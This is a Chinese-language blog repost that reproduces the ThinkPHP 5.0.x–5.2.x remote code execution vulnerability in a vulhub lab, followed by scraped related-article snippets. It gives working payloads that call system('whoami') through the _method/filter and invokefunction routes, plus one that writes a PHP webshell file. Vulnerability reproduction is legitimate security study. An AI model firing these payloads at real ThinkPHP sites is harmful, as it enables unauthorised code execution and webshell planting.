ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞
ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程代码执行漏洞
作者:SoulCat.
来源:CSDN
原文:https://blog.csdn.net/csacs/article/details/86668057
版权声明:本文为博主原创文章,转载请附上博文链接!
漏洞概述:
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架。借鉴Struts框架的Action对象,同时也使用面向对象的开发结构和MVC模式。1月11日,ThinkPHP官方发布新版本5.0.24,在1月14日和15日发布两个更新,这几次更新都修复了远程代码执行漏洞,对于5.0.x、5.1.x、5.2.x 这几个版本,都无需登入可以进行远程代码执行。
漏洞版本:
5.0.x
5.1.x
5.2.x
漏洞搭建:
利用vulhub漏洞平台(简单粗暴,可一键生成漏洞!)进行快速搭建,cd 到thinkphp目录,任意选择一个版本,然后docker-compose up -d
5.1.x之后,必须在本地搭建,vulhub未提供。
如图所示搭建成功,走起!
漏洞复现:
分两个版本5.0.x和5.1.x、5.2.x,分别验证。
1.版本5.0.x
将控制的url参数s的设置为captcha,并且设置post数据:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
-
成功执行命令
针对于这个版本还有一个漏洞,主要由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的远程命令执行漏洞。
远程执行命令payload(不唯一):s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
写文件payload(不唯一):?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>i
2.版本5.1.x、5.2.x
这两个版本现在用的很少,并且针对于这两个版本有点鸡肋,需要index.php文件中跳过报错提示。 语句:error_reporting(0);
Payload:a=system&b=whoami&_method=filter
漏洞修复:
及时打补丁。
前方道路坎坷,记得及时行乐。
总结:
这两个版本的远程漏洞本质上都是变量覆盖漏洞,在一处存在缺陷的方法中没有对用户输入做严格判断,通过传递_method参数覆盖了配置文件的_method,导致可以访问Request类的任意函数,而在Request的构造函数中又创建了恶意的成员变量,导致后面的命令执行;而在5.1和5.2版本中则是直接覆盖过滤器,在忽略运行异常时可以触发漏洞,也是很棒棒,膜拜大佬!
ps:萌新一枚,余生很长,请多指教。
---------------------
ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞的更多相关文章
- ThinkPHP 5.x远程命令执行漏洞复现
ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.th ...
- ThinkPHP 5.0远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- ThinkPHP 5.x远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- ThinkPHP 5.1.x远程命令执行漏洞利用, 参考POC
thinkphp5.1.1为例 1.代码执行: http://192.168.0.108/public//index.php?s=index/\think\Request/input&filt ...
- 漏洞预警 | ThinkPHP 5.x远程命令执行漏洞
ThinkPHP采用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库).RoR的ORM映射和ActiveRecord模式,是一款兼容性高.部署简单的轻量级国产PHP开发框 ...
- 复现IIS6.0远程命令执行漏洞
出这个漏洞有一定时间了,一直没测试,因为知道这个漏洞有条件的,好吧,顺便感谢royal大佬今天晚上日内网的指点. 漏洞要求: 开启Webdav PS:不想刚拿下的内网服务器一下权限掉了,又不想放xx远 ...
- Apache Solr < 8.2.0远程命令执行漏洞(CVE-2019-0193)
介绍:Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现. 漏洞原因:此次漏洞出现在Apache Solr的D ...
- thinkPHP命令执行漏洞
thinkPHP中反斜杠的作用是类库\命名空间 命令执行的姿势 通过反射invokefunction调用call_user_func_array方法,call_user_func_array函数接受两 ...
- thinkphp5.0.22远程代码执行漏洞分析及复现
虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...
随机推荐
- centos7 增加开放端口
添加 firewall-cmd --zone=public --add-port=80/tcp --permanent (--permanent永久生效,没有此参数重启后失效) 重新载入 不然不生效 ...
- python 比较2个文件内容
1. 通过使用md5字符串比较2个文件 import hashlib def get_file_md5(filename): '''可以比较两个文件的md5值,来比较文件内容.未使用''' md5 = ...
- MapReduce的初识
MapReduce是什么 HDFS:分布式存储系统 MapReduce:分布式计算系统 YARN:hadoop 的资源调度系统 Common:以上三大组件的底层支撑组件,主要提供基础工具包和 RPC ...
- React 顶层 API
概览 组件 使用 React 组件可以将 UI 拆分为独立且复用的代码片段,每部分都可独立维护.你可以通过子类 React.Component 或 React.PureComponent 来定义 Re ...
- python--模块学习之xml模块
xml即可扩展标记语言,它可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言. 本文主要学习的ElementTree是python的XML处理模块,它提供了一个轻量级的对象 ...
- 基本例程(4-1)手势识别C++ 和简单形状匹配
扩展库https://blog.csdn.net/Taily_Duan/article/details/52130135 opencv3.3+扩展库 /************************ ...
- thymeleaf做if判定
<div class="showing"> <h2>条件判断</h2> <p th:if="${testBoolean}&quo ...
- Android编程权威指南笔记3:Android Fragment讲解与Android Studio中的依赖关系,如何添加依赖关系
Android Fragment 当我在学习时,了解了Fragment词汇 Fragment是一种控制器对象,我就把所了解的简单说一下.activity可以派fragment完成一些任务,就是管理用户 ...
- GoCN每日新闻(2019-11-05)
GoCN每日新闻(2019-11-05) GoCN每日新闻(2019-11-05) 1. Protobuf 终极教程 https://colobu.com/2019/10/03/protobuf-ul ...
- python pycryptodome 加密解密
pip3 install pycryptodome my_private_rsa_key.bin -----BEGIN RSA PRIVATE KEY----- MIICXQIBAAKBgQDlOJu ...